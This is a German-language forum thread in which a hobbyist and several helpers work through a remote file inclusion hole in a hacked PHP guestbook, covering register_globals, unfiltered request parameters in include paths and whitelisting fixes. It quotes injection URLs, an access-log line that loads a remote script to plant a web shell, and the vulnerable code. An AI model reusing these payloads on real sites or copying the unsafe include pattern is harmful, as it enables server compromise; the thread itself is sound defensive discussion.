Shadowcrow: Remote File Include Vulnerability

hi,

ich hatte mit einem gästebuch ein paar probleme mit hackern, und wollte die entsprechenden code zeilen ändern. ich frage mich nur schützt das auch wirklich?

original:
include $language_file;

geändert:

  
if (is_file("language/english.php")) {  
   include $language_file;  
} elseif (is_file("language/german.php")) {  
   include $language_file;  
} //else{  exit ('Netter Versuch Ihr Saecke');}  

hier bin ich mir eigentlich sicher, das es hilft.

original:
include $config['comments_form_tpl'];

geändert:

  
if (is_file("jubjub.php")) {  
  include $config['comments_form_tpl'];  
}elseif (is_file("jubjub.php")) {  
  include $config['comments_form_tpl'];  
} //else{  exit ('Netter Versuch Ihr Saecke');}  

nur hier weiß ich es nicht genau, weil ansonsten böse menschen soetwas wie dies tun würden:

http://localhost/path/comments-display-tpl.php?language_file=[evilcode]

http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]
=[evilcode]

wäre toll wenn mir jmd. weiterhelfen könnte.

gruss
shadow

--
If there's anything more important than my ego around, I want it caught and shot, now.
  1. Hallo,

    ich hatte mit einem gästebuch ein paar probleme mit hackern, und wollte die entsprechenden code zeilen ändern. ich frage mich nur schützt das auch wirklich?

    um das zu beurteilen, brauchen wir mehr Hinweise als nur die paar Zeilen Code. Tatsache ist aber, so böse das klingt, dass eben diese paar Zeilen schon Unsinn sind.

    original:
    include $language_file;

    Und woher bekommst du $language_file? Da solltest du ansetzen.

    geändert:

    if (is_file("language/english.php")) {

    include $language_file;
    } elseif (is_file("language/german.php")) {
       include $language_file;
    } //else{  exit ('Netter Versuch Ihr Saecke');}

      
    Es ist witzlos, wenn du zwei konkrete Dateien auf Existenz prüfst, und dann doch wieder eine beliebige andere includierst.  
      
    
    > original:  
    > include $config['comments\_form\_tpl'];  
      
    Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.  
      
    
    > ~~~php
    
    if (is_file("jubjub.php")) {  
    
    >   include $config['comments_form_tpl'];  
    > }elseif (is_file("jubjub.php")) {  
    >   include $config['comments_form_tpl'];  
    > } //else{  exit ('Netter Versuch Ihr Saecke');}
    
    

    Hier steckt dieselbe verdrehte Logik drin, wie ich oben schon kritisiert habe.

    nur hier weiß ich es nicht genau, weil ansonsten böse menschen soetwas wie dies tun würden:

    http://localhost/path/comments-display-tpl.php?language_file=[evilcode]
    http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]
    =[evilcode]

    Du hast doch wohl hoffentlich nicht register_globals aktiviert? Dann stell das mal schnellstens ab. Das wäre schon ein erster Schritt, dass dir Fremde nicht beliebige Variableninhalte unterjubeln können.

    Ciao,
     Martin

    --
    Solange der Nagellack nicht trocken ist,
    ist eine Frau praktisch wehrlos.
      (Burt Reynolds, US-Schauspieler)
    1. echo $begrüßung;

      Du hast doch wohl hoffentlich nicht register_globals aktiviert? Dann stell das mal schnellstens ab. Das wäre schon ein erster Schritt, dass dir Fremde nicht beliebige Variableninhalte unterjubeln können.

      Wichtiger als register_globals zu deaktivieren ist, seine Scripte so zu schreiben, dass sie auch ein unbeabsichtigt aktiviertes register_globals unbeeinflusst überstehen. Dazu gehört, dass man Variablen vor dem ersten Verwenden konsequent mit einem definierten Wert initialisiert und das error_reporting zum Entwickeln auf E_ALL (und display_errors auf on) stellt, damit man Hinweise angezeigt bekommt, wenn man auf nicht initialisierte Variablen zugreifen will. Achtet man konsequent auf die selbst durchgeführte Initialisierung, kann einem auch keiner ungewünschte Werte unterschieben.

      echo "$verabschiedung $name";

      1. hi $name,

        Wichtiger als register_globals zu deaktivieren ist, seine Scripte so zu schreiben, dass sie auch ein unbeabsichtigt aktiviertes register_globals unbeeinflusst überstehen. Dazu gehört, dass man Variablen vor dem ersten Verwenden konsequent mit einem definierten Wert initialisiert und das error_reporting zum Entwickeln auf E_ALL (und display_errors auf on) stellt, damit man Hinweise angezeigt bekommt, wenn man auf nicht initialisierte Variablen zugreifen will.

        ich habe erst vor kurzem angefangen php zu lernen, deshalb bin ich auf fremdscripte angewiesen. error reporting ist bei mir immer auf on gestellt und bei meiner seite habe ich drauf geachtet alle variablen zu initalisieren (notfalls mit fubar :-).

        aber auch bei diesem script ist error reporting auf on.

        Achtet man konsequent auf die selbst durchgeführte Initialisierung, kann einem auch keiner ungewünschte Werte unterschieben.

        QED

        gruss
        shadow

        --
        If there's anything more important than my ego around, I want it caught and shot, now.
    2. hi $name,

      um das zu beurteilen, brauchen wir mehr Hinweise als nur die paar Zeilen Code. Tatsache ist aber, so böse das klingt, dass eben diese paar Zeilen schon Unsinn sind.

      http://www.securityfocus.com/archive/1/484045

      mehr weiß ich leider auch nicht, außer das der hack funktioniert.

      Und woher bekommst du $language_file? Da solltest du ansetzen.

      in einem include der (fast) überall eingebunden wird:

        
      // Are we using the default language or user's choice?  
      function setupLanguage() {  
       global $config, $user_lang, $tb_language;  
        
       $path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';  
        
       if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {  
        // visitor has selected a language  
        $language_file          = $path . $_REQUEST['language'] . '.php';  
        $user_lang              = $_REQUEST['language'];  
       } elseif ($tb_language) {  
        // it was set in the page that invoked comments.php  
        $language_file          = $path . $tb_language . '.php';  
        $_REQUEST['language']   = $tb_language;  
        $user_lang              = $tb_language;  
       } else {  
        // use the default language  
        $language_file          = $path . $config['default_language'] . '.php';  
        $_REQUEST['language']   = '';  
        $user_lang              = $config['default_language'];  
       }  
       return $language_file;  
      }
      

      Es ist witzlos, wenn du zwei konkrete Dateien auf Existenz prüfst, und dann doch wieder eine beliebige andere includierst.

      *schäm* stimmt, ich habs geändert:
      include ("language/english.php");

      original:
      include $config['comments_form_tpl'];

      Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.

      ist per config.php mit werten initalisiert, aber trotzdem wurde das als sicherheitslücke moniert.

      Hier steckt dieselbe verdrehte Logik drin, wie ich oben schon kritisiert habe.

      *schäm* stimmt, ich habs geändert:
      include ("comments-form-tpl.php");

      Du hast doch wohl hoffentlich nicht register_globals aktiviert? Dann stell das mal schnellstens ab. Das wäre schon ein erster Schritt, dass dir Fremde nicht beliebige Variableninhalte unterjubeln können.

      ja, register_globals ist aktiviert (nicht von mir). und per .htaccess läßt sich das leider nicht ausschalten (error 500).)

      gruss
      shadow

      --
      If there's anything more important than my ego around, I want it caught and shot, now.
      1. Hello,

        ja, register_globals ist aktiviert (nicht von mir). und per .htaccess läßt sich das leider nicht ausschalten (error 500).)

        Wie hast Du das denn ausprobiert?
        Hast Du

        php_value register_globals 0

        geschrieben, oder

        php_flag register_globals off

        Zweiteres funktioniert nicht (immer), obwohl es mWn so im Handbuch steht.

        Harzliche Grüße vom Berg
        http://bergpost.annerschbarrich.de

        Tom

        --
        Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
        Nur selber lernen macht schlau
        Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

        1. hi $name,

          Wie hast Du das denn ausprobiert?
          Hast Du

          php_value register_globals 0

          geschrieben, oder

          php_flag register_globals off

          funktioniert leider beides nicht :-(

          gruss
          shadow

          --
          If there's anything more important than my ego around, I want it caught and shot, now.
          1. Hello,

            funktioniert leider beides nicht :-(

            Dann wird es in der Konfiguration verboten sein...

            Harzliche Grüße vom Berg
            http://bergpost.annerschbarrich.de

            Tom

            --
            Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
            Nur selber lernen macht schlau
            Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

            1. hi $name,

              Hello,

              funktioniert leider beides nicht :-(

              Dann wird es in der Konfiguration verboten sein...

              yep, leider. alles was mit der .htaccess spass macht ist verboten :-(

              so, und jetzt versuche ich den mut zu finden das gästebuch wieder online zu bringen.

              gruss
              shadow

              --
              If there's anything more important than my ego around, I want it caught and shot, now.
              1. Moin!

                funktioniert leider beides nicht :-(

                Dann wird es in der Konfiguration verboten sein...

                yep, leider. alles was mit der .htaccess spass macht ist verboten :-(

                Bei Shared Hosting ist PHP oft als CGI eingebunden. Das bedeutet, dass PHP-Einstellungen nicht per .htaccess geändert werden können - aber wenn in einem Verzeichnis eine Datei php.ini steht, werden darin gespeicherte Einstellungen verwendet.

                Allerdings wirkt die Datei nicht rekursiv, es ist also auch in jedem Unterverzeichnis eine entsprechende Kopie unterzubringen.

                Da die relevanten Sicherheitseinstellungen allerdings insgesamt nur wenig Speicherplatz benötigen (der größte Teil in der mitgelieferten Datei ist Kommentar), sollte der einzige Nachteil die notwendige Vervielfältigung der Datei sein.

                - Sven Rautenberg

                --
                "Love your nation - respect the others."
                1. hi $name,

                  Da die relevanten Sicherheitseinstellungen allerdings insgesamt nur wenig Speicherplatz benötigen (der größte Teil in der mitgelieferten Datei ist Kommentar), sollte der einzige Nachteil die notwendige Vervielfältigung der Datei sein.

                  welche "mitgelieferte datei"?

                  gruss
                  shadow

                  --
                  If there's anything more important than my ego around, I want it caught and shot, now.
                  1. Moin!

                    Da die relevanten Sicherheitseinstellungen allerdings insgesamt nur wenig Speicherplatz benötigen (der größte Teil in der mitgelieferten Datei ist Kommentar), sollte der einzige Nachteil die notwendige Vervielfältigung der Datei sein.

                    welche "mitgelieferte datei"?

                    Die php.ini von PHP, die durch die Installation auf die Platte kommt.

                    - Sven Rautenberg

                    --
                    "Love your nation - respect the others."
                    1. hi $name,

                      Die php.ini von PHP, die durch die Installation auf die Platte kommt.

                      danke.

                      auch etwas an das ich nicht rankomme :-(

                      gruss
                      shadow

                      --
                      If there's anything more important than my ego around, I want it caught and shot, now.
                      1. Moin!

                        auch etwas an das ich nicht rankomme :-(

                        Wird mitgeliefert. In den Installationsdateien von PHP, downloadbar auf www.php.net.

                        Aber wozu brauchst du die? Die relevanten, zu setzenden Optionen kennst du alle. Und die, die du nicht kennst, solltest du nicht einfach ändern.

                        - Sven Rautenberg

                        --
                        "Love your nation - respect the others."
                        1. hi $name,

                          Wird mitgeliefert. In den Installationsdateien von PHP, downloadbar auf www.php.net.

                          danke. ich depp hab ja ganz vergessen das ich ja auch eine habe *kopf=>wand* xampp sei dank.

                          Aber wozu brauchst du die? Die relevanten, zu setzenden Optionen kennst du alle. Und die, die du nicht kennst, solltest du nicht einfach ändern.

                          pure neugierde, ne,ne, hatte nicht vor sinn und zweckfrei irgendwas zu ändern.

                          aber für den fall das (in zukunft) nochmal irgendwelche "einstellungs probleme" auftreten, wäre es ja gut zu wissen, was einstelbar ist (um dann, nach ausführlicher information und überlegung) evttl. etwas zu ändern.

                          ich hab jetzt die php.ini (mit der einstellung: register_globals = off) auf den server genudelt -in alle verzeichnisse die php dateien enthalten.

                          gruss
                          shadow

                          --
                          If there's anything more important than my ego around, I want it caught and shot, now.
                          1. Moin!

                            ich hab jetzt die php.ini (mit der einstellung: register_globals = off) auf den server genudelt -in alle verzeichnisse die php dateien enthalten.

                            Und zeigt phpinfo() die Änderung an?

                            - Sven Rautenberg

                            --
                            "Love your nation - respect the others."
                            1. hi $name,

                              Und zeigt phpinfo() die Änderung an?

                              *kotz* nein, da steht register_globals auf on. zu früh gefreut.

                              gruss
                              shadow

                              --
                              If there's anything more important than my ego around, I want it caught and shot, now.
                              1. Hello,

                                Und zeigt phpinfo() die Änderung an?

                                *kotz* nein, da steht register_globals auf on. zu früh gefreut.

                                und steht da auch, dass die Konfogurationsdatei "php.ini" heißt?
                                Das kann man nämlich auch ändern.

                                Normalerweise stht das gleich im ersten Block (Beispiel):

                                Configuration File (php.ini) Path  /usr/local/Zend/etc/php.ini

                                Harzliche Grüße vom Berg
                                http://bergpost.annerschbarrich.de

                                Tom

                                --
                                Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                                Nur selber lernen macht schlau
                                Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

                                1. hi $name,

                                  und steht da auch, dass die Konfogurationsdatei "php.ini" heißt?
                                  Das kann man nämlich auch ändern.

                                  Normalerweise stht das gleich im ersten Block (Beispiel):

                                  Configuration File (php.ini) Path  /usr/local/Zend/etc/php.ini

                                  ja, heißt php.ini

                                  gruss
                                  shadow

                                  --
                                  If there's anything more important than my ego around, I want it caught and shot, now.
      2. Moin!

        http://www.securityfocus.com/archive/1/484045

        Oho, so prominent ist das Problem also.

        Und woher bekommst du $language_file? Da solltest du ansetzen.

        in einem include der (fast) überall eingebunden wird:

        // Are we using the default language or user's choice?
        function setupLanguage() {
        global $config, $user_lang, $tb_language;

        $path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';

        if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
          // visitor has selected a language
          $language_file          = $path . $_REQUEST['language'] . '.php';

          
        Genau hier ^^^ ist z.B. ein Punkt, an dem man ansetzen muss: Die Variable language kommt von außerhalb und wird ohne zu filtern in einen Pfad eingebaut! Was gibt language denn an? Dir hilft bestimmt einer Funktionen [basename](http://de.php.net/manual/de/function.basename.php) oder [dirname](http://de.php.net/manual/de/function.dirname.php) weiter.  
          
        
        > ~~~php
        
          $user_lang              = $_REQUEST['language'];  
        
        >  } elseif ($tb_language) {  
        >   // it was set in the page that invoked comments.php  
        >   $language_file          = $path . $tb_language . '.php';  
        >   $_REQUEST['language']   = $tb_language;  
        >   $user_lang              = $tb_language;  
        >  } else {  
        >   // use the default language  
        >   $language_file          = $path . $config['default_language'] . '.php';  
        >   $_REQUEST['language']   = '';  
        >   $user_lang              = $config['default_language'];  
        >  }  
        >  return $language_file;  
        > }
        
        

        Es ist witzlos, wenn du zwei konkrete Dateien auf Existenz prüfst, und dann doch wieder eine beliebige andere includierst.

        *schäm* stimmt, ich habs geändert:
        include ("language/english.php");

        Beide? Dann kann man keine Sprache mehr selektieren? Aber wie gesagt, das obere sieht mir kritischer aus.

        original:
        include $config['comments_form_tpl'];

        Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.

        ist per config.php mit werten initalisiert, aber trotzdem wurde das als sicherheitslücke moniert.

        Wurde auch gesagt, wie dort Werte überschrieben werden könnten?

        Viele Grüße,
        Robert

        1. hi $name,

          Und woher bekommst du $language_file? Da solltest du ansetzen.

          in einem include der (fast) überall eingebunden wird:

          // Are we using the default language or user's choice?
          function setupLanguage() {
          global $config, $user_lang, $tb_language;

          $path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';

          if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
            // visitor has selected a language
            $language_file          = $path . $_REQUEST['language'] . '.php';

          
          >   
          > Genau hier ^^^ ist z.B. ein Punkt, an dem man ansetzen muss: Die Variable language kommt von außerhalb und wird ohne zu filtern in einen Pfad eingebaut! Was gibt language denn an? Dir hilft bestimmt einer Funktionen [basename](http://de.php.net/manual/de/function.basename.php) oder [dirname](http://de.php.net/manual/de/function.dirname.php) weiter.  
            
          hm, oder es gibt nur eine sprache und basta :-) aber mit basename ist es doch eleganter.  
            
          
          > > \*schäm\* stimmt, ich habs geändert:  
          > > include ("language/english.php");  
          >   
          > Beide? Dann kann man keine Sprache mehr selektieren? Aber wie gesagt, das obere sieht mir kritischer aus.  
            
          \*lol\* das ist mir dann auch aufgefallen aber s.o.  
          
          >   
          > > > > original:  
          > > > > include $config['comments\_form\_tpl'];  
          > > >   
          > > > Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.  
          > >   
          > > ist per config.php mit werten initalisiert, aber trotzdem wurde das als sicherheitslücke moniert.  
          >   
          > Wurde auch gesagt, wie dort Werte überschrieben werden könnten?  
            
          so oder so ähnlich (weiß die uhrzeit leider nicht mehr auf die sekunde genau) hats meinen account erwischt:  
            
          196\.217.75.218 - - [25/Nov/2007:15:52:05 +0100] "GET /book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=img&img=small\_dir HTTP/1.1" 200 164 "http://www.example.com/book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=ls&d=/srv/www/htdocs/web2007/html/book\_1/&sort=0a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  
            
          und schon hatte ich PHP/C99Shell-A auf meinem account, das ganze sieht dann so aus:  
            
          <reels4actors.de/locus7shell.htm> - das ist eine html datei ohne schadcode (enthält zwar eine javascript, das ist aber nur checkboxen selektiert/deselektiert)  
            
          gruss  
          shadow
          
          -- 
          If there's anything more important than my ego around, I want it caught and shot, now.
          
        2. hi $name,

          in einem include der (fast) überall eingebunden wird:

          // Are we using the default language or user's choice?
          function setupLanguage() {
          global $config, $user_lang, $tb_language;

          $path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';

          if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
            // visitor has selected a language
            $language_file          = $path . $_REQUEST['language'] . '.php';

          
          >   
          > Genau hier ^^^ ist z.B. ein Punkt, an dem man ansetzen muss: Die Variable language kommt von außerhalb und wird ohne zu filtern in einen Pfad eingebaut! Was gibt language denn an? Dir hilft bestimmt einer Funktionen [basename](http://de.php.net/manual/de/function.basename.php) oder [dirname](http://de.php.net/manual/de/function.dirname.php) weiter.  
            
          nach allem was ich sehen kann ist das das erste auftreten (initalisierung) der language\_file, hier wird der wert zugewiesen. die datei heißt commen\_functions und wird in die bandersnatch.php (das gästebuchscript) eingebunden und dieses ruft dann zur bildschirmausgabe die jubjub.php auf, und in der lag der hund begraben. in der jubjub.php wurde ungeprüft die language\_file includiert, was es ermöglichte ihr einfach einen neuen wert zuzuweisen.  
            
          ich glaube zwar nicht, das da das probleml liegt, aber wäre es nicht möglich am ende der funktion (anstatt des return) einfach mit case "abfragen" welchen wert sie hat?  
          ~~~php
            
          switch ($language_file) (  
           case "language/english.php"  
           return $language_file;  
            break 1;  
           case "language/german.php"  
           return $language_file;  
            break 1;  
           default:  
           $language_file = "language/english.php";  
           return $language_file; }
          

          immerhin darf sie ja nur einen von zwei werten haben - englisch oder deutsch. das mag zwar so ziemlich jede eleganz vermissen lassen, müßte aber funktionieren?

          und dann in der jubjub.php die language_file folgerndermaßen includieren:

            
          switch ($language_file) (  
           case "language/english.php"  
           include "$language_file";  
            break 1;  
           case "language/german.php"  
           include "$language_file";  
            break 1;  
           default:  
           die (); )
          

          wie gesagt: nicht schön aber selten.

          sorry, falls ich nerven sollte, aber ich versuche da gedanklich durchzusteigen.

          gruss und danke
          shadow

          --
          If there's anything more important than my ego around, I want it caught and shot, now.
          1. Moin!

            nach allem was ich sehen kann ist das das erste auftreten (initalisierung) der language_file, hier wird der wert zugewiesen.

            Allerdings mit einem ungeprüften Wert, deshalb der Hinweis auf dirname oder basename.

            ich glaube zwar nicht, das da das probleml liegt, aber wäre es nicht möglich am ende der funktion (anstatt des return) einfach mit case "abfragen" welchen wert sie hat?

            switch ($language_file) (
            case "language/english.php"
            return $language_file;
              break 1;
            case "language/german.php"
            return $language_file;
              break 1;
            default:
            $language_file = "language/english.php";
            return $language_file; }

              
            Abgesehen, dass das doppelt gemoppelt ist (Englisch ist doch Default, also brauchst du darauf nicht explizit zu testen), würde ich das ganze radikal vereinfachen:  
              
            ~~~php
            switch ($language) (  
                case 'de':  
                    return 'language/german.php';  
                case 'en':  
                default:  
                    return 'language/english.php';  
            }
            

            Damit werden auch keine Eingabewerte mehr (direkt) in Pfadangaben verwendet, d.h. ein Codeschmuggel ist unmöglich.

            Viele Grüße,
            Robert

            1. hi $name,

              nach allem was ich sehen kann ist das das erste auftreten (initalisierung) der language_file, hier wird der wert zugewiesen.

              Allerdings mit einem ungeprüften Wert, deshalb der Hinweis auf dirname oder basename.

              nicht wirklich, der pfad ist fest vorgegeben in der config.php. da wird das array $config mit werten gefüttert. d.h. der inhalt von

              $path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';

              steht fest. und bei allen aufrufen wurde es so notiert:

              $language_file = setupLanguage();
              include $language_file;

              daran hatte NoGe ja wohl nichts auszusetzen, nur in der jubjub.php (aarggl, sory für die namen, aber ich hatte gestern morgen einen anfall von jabberwoky) stand nur folgendes:

              include $language_file;

              und das wurde moniert, da der variablen dann jeder wert zugewiesen werden konnte. aber ich stimme dir zu (und fühle mich auch wohler dabei) das an der stelle nochmals abzusichern.

              switch ($language) (

              case 'de':
                      return 'language/german.php';
                  case 'en':                                      //das kann aber auch weg, oder?
                  default:
                      return 'language/english.php';
              }

              
              >   
              > Damit werden auch keine Eingabewerte mehr (direkt) in Pfadangaben verwendet, d.h. ein Codeschmuggel ist unmöglich.  
              
              yep, dein switch ist eleganter :-)  
                
              lieben dank  
                
              gruss  
              shadow
              
              -- 
              If there's anything more important than my ego around, I want it caught and shot, now.
              
              1. Moin!

                nach allem was ich sehen kann ist das das erste auftreten (initalisierung) der language_file, hier wird der wert zugewiesen.

                Allerdings mit einem ungeprüften Wert, deshalb der Hinweis auf dirname oder basename.
                nicht wirklich, der pfad ist fest vorgegeben in der config.php.

                So so. Gestern wurde $language_file noch folgendermaßen initialisiert:

                $language_file = $path . $_REQUEST['language'] . '.php';

                Und da kann ich über den Parameter language beliebige Pfadangaben einschleusen und mit einigen Sonderzeichen auch auf unbeabsichtige Pfaden wandeln.

                Viele Grüße,
                Robert

                1. hi $name,

                  Allerdings mit einem ungeprüften Wert, deshalb der Hinweis auf dirname oder basename.
                  nicht wirklich, der pfad ist fest vorgegeben in der config.php.

                  So so. Gestern wurde $language_file noch folgendermaßen initialisiert:

                  $language_file = $path . $_REQUEST['language'] . '.php';

                  Und da kann ich über den Parameter language beliebige Pfadangaben einschleusen und mit einigen Sonderzeichen auch auf unbeabsichtige Pfaden wandeln.

                  öh, kleines mistverständniss. ich dachte du beziehst dich mit pfad auf den inhalt von $path. ja, stimmt das mit dem parameter ist das problem. dummerweise funktioniert der switch nicht, da fliegen mir die fehlermeldungen um die ohren :-( .

                  also zurück zu basename :-) oder vorher abfragen ob der parameter language einen erlaubten wert enthält und falls nicht einen zuweisen?

                  gruss
                  shadow

                  --
                  If there's anything more important than my ego around, I want it caught and shot, now.
                  1. Hello,

                    öh, kleines mistverständniss. ich dachte du beziehst dich mit pfad auf den inhalt von $path. ja, stimmt das mit dem parameter ist das problem. dummerweise funktioniert der switch nicht, da fliegen mir die fehlermeldungen um die ohren :-( .

                    Manual hilft vielleicht: http://de2.php.net/manual/en/control-structures.switch.php

                    Da konnte ich von "return" in einer Switch-Anweisung nichts entdecken. Daher ja mein Versuch, ob ich vielleicht einen "schmutzigen Trick" übersehen hätte.

                    switch ($language)
                    (
                        case 'de':
                            $lang = 'language/german.php';
                        break;

                    case 'en':
                            $lang = 'language/english.php';
                        break;

                    default:
                            $lang = 'language/hottentott.php';
                    }

                    Danach ist $lang dann mit dem passenden Wert gesetzt.

                    Harzliche Grüße vom Berg
                    http://bergpost.annerschbarrich.de

                    Tom

                    --
                    Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                    Nur selber lernen macht schlau
                    Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

                    1. hi $name,

                      Manual hilft vielleicht: http://de2.php.net/manual/en/control-structures.switch.php

                      danke, ich schau zwar immer im handbuch nach, aber beim switch hatte ich mir nur das http://tut.php-quake.net/switch.html durchgelesen.

                      Da konnte ich von "return" in einer Switch-Anweisung nichts entdecken. Daher ja mein Versuch, ob ich vielleicht einen "schmutzigen Trick" übersehen hätte.

                      Danach ist $lang dann mit dem passenden Wert gesetzt.

                      auch das funktionierte nicht, ich hab jetzt die funktion folgendermaßen umgeschrieben:
                       ~~~php

                      function setupLanguage() {
                       global $config, $user_lang, $tb_language;

                      $path = '/srv/www/htdocs/web12/html/snark/language/';

                      if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
                       //wenn die sprache nicht der default entspricht, muss es wohl deutsch sein, andere auswahlmöglichkeiten hats nicht.
                        // visitor has selected a language
                        $language_file          =  '/srv/www/htdocs/web12/html/snark/language/german.php';
                        $user_lang              = 'german';
                       } elseif ($tb_language) {
                        // it was set in the page that invoked comments.php
                        $language_file          = '/srv/www/htdocs/web12/html/snark/language/german.php';
                        $_REQUEST['language']   = 'german';
                        $user_lang              = 'german';
                       } else {
                        // use the default language
                        $language_file          = '/srv/www/htdocs/web12/html/snark/language/english.php';
                        $_REQUEST['language']   = 'english';
                        $user_lang              = 'english';
                       }

                      return $language_file ;
                      }

                        
                      alle aufrufe der language\_file lauten jetzt:  
                      $language\_file = setupLanguage();  
                      include $language\_file;  
                        
                      ich habs getestet (  
                      a) aus ?language=english z.b. ?language=eng gemacht - da hatte er immer gefiept das die datei eng.php nicht existiert und deswegen nicht inkludiert werden kann.  
                      b) ein script von einem anderen server drangehängt z.b. ?language=http://example.com/böse.txt  
                        
                      beides wurde ignoriert, der inhalt von language\_file ändert sich nicht (hab ich mit echo überprüft).  
                        
                      btw. die variable language war initalisiert, das habe ich weiter oben in der commen\_functions gefunden, hat wohl nur nichts genutzt.  
                        
                      if (!isset($\_REQUEST['language']))   $\_REQUEST['language']  = '';  
                        
                      so, jetzt muss ich nur noch meinen provider davon überzeugen das er mich wieder meine config.php bearbeitenläßt. ich konnte die zwar auf den server spielen, aber ich bin nicht mehr der besitzer und habe keine rechte mehr daran was zu ändern \*soifz\*, ob mein provider etwas "verschnupft" ist?"  
                        
                        
                      gruss  
                      shadow
                      
                      -- 
                      If there's anything more important than my ego around, I want it caught and shot, now.
                      
                      1. Hello,

                        Da konnte ich von "return" in einer Switch-Anweisung nichts entdecken. Daher ja mein Versuch, ob ich vielleicht einen "schmutzigen Trick" übersehen hätte.

                        Danach ist $lang dann mit dem passenden Wert gesetzt.

                        auch das funktionierte nicht, ich hab jetzt die funktion folgendermaßen umgeschrieben:

                        Was funktioniert daran nicht? Ich hab's vorhin nicht ausprobiert.

                        eventuell musst Du schreiben

                        switch(true)
                        case  ... break
                        case  ... break
                        default

                        [code]
                        function setupLanguage()

                        {

                        global $config, $user_lang, $tb_language;

                        $path = '/srv/www/htdocs/web12/html/snark/language/';

                        if (isset($_REQUEST['language']) && $_REQUEST['language'] != $config['default_language'])
                           {

                        Harzliche Grüße vom Berg
                        http://bergpost.annerschbarrich.de

                        Tom

                        --
                        Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                        Nur selber lernen macht schlau
                        Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

                        1. hi $name,

                          Was funktioniert daran nicht? Ich hab's vorhin nicht ausprobiert.

                          eventuell musst Du schreiben

                          switch(true)
                          case  ... break
                          case  ... break
                          default

                          syntax war ok.
                          och, es ließ sich immer noch diverser mist anhängen das war das problem.
                          war mir zwar ein rätsel warum, brachte mich aber auf blan b.

                          und da´s ja jetzt funktioniert.........

                          gruss
                          shadow

                          --
                          If there's anything more important than my ego around, I want it caught and shot, now.
                          1. Hello,

                            syntax war ok.
                            och, es ließ sich immer noch diverser mist anhängen das war das problem.
                            war mir zwar ein rätsel warum, brachte mich aber auf blan b.

                            und da´s ja jetzt funktioniert.........

                            Nee, nee, so nicht!  :-)

                            Welcher Mist ließ sich anhängen und wie hat sich das bemerkbar gemacht?
                            Wenn es Lücken gibt, wollen wir die auch alle kennen, um sie zu vermeiden!

                            Harzliche Grüße vom Berg
                            http://bergpost.annerschbarrich.de

                            Tom

                            --
                            Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                            Nur selber lernen macht schlau
                            Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

                            1. hi $name,

                              Nee, nee, so nicht!  :-)

                              versuch wars wert ;-)

                              Welcher Mist ließ sich anhängen und wie hat sich das bemerkbar gemacht?
                              Wenn es Lücken gibt, wollen wir die auch alle kennen, um sie zu vermeiden!

                              aus ?language=english z.b. ?language=eng gemacht - da hatte er immer gefiept das die datei eng.php nicht existiert und deswegen nicht inkludiert werden kann.

                              gruss
                              shadow

                              --
                              If there's anything more important than my ego around, I want it caught and shot, now.
                              1. Hello,

                                Welcher Mist ließ sich anhängen und wie hat sich das bemerkbar gemacht?
                                Wenn es Lücken gibt, wollen wir die auch alle kennen, um sie zu vermeiden!

                                aus ?language=english z.b. ?language=eng gemacht - da hatte er immer gefiept das die datei eng.php nicht existiert und deswegen nicht inkludiert werden kann.

                                Das sollte ja auch durch den "Translation-Table" vermieden werden.
                                Keine Eingaben des Clients direkt weiterverarbeiten, sonder erst übersetzen lassen.
                                Da hast Du durch das switch() oder auch Deine gleichwertige if() elseif() else() Struktur erreicht.

                                Die benötigen natürlich beide einen Default-Wert (Else), wenn kein Schlüssel für eine der FEST VORGEGEBENEN Möglichkeiten passt.

                                Harzliche Grüße vom Berg
                                http://bergpost.annerschbarrich.de

                                Tom

                                --
                                Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                                Nur selber lernen macht schlau
                                Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

                                1. hi $name,

                                  aus ?language=english z.b. ?language=eng gemacht - da hatte er immer gefiept das die datei eng.php nicht existiert und deswegen nicht inkludiert werden kann.

                                  Das sollte ja auch durch den "Translation-Table" vermieden werden.
                                  Keine Eingaben des Clients direkt weiterverarbeiten, sonder erst übersetzen lassen.

                                  yep, all input is evil.....

                                  Da hast Du durch das switch() oder auch Deine gleichwertige if() elseif() else() Struktur erreicht.

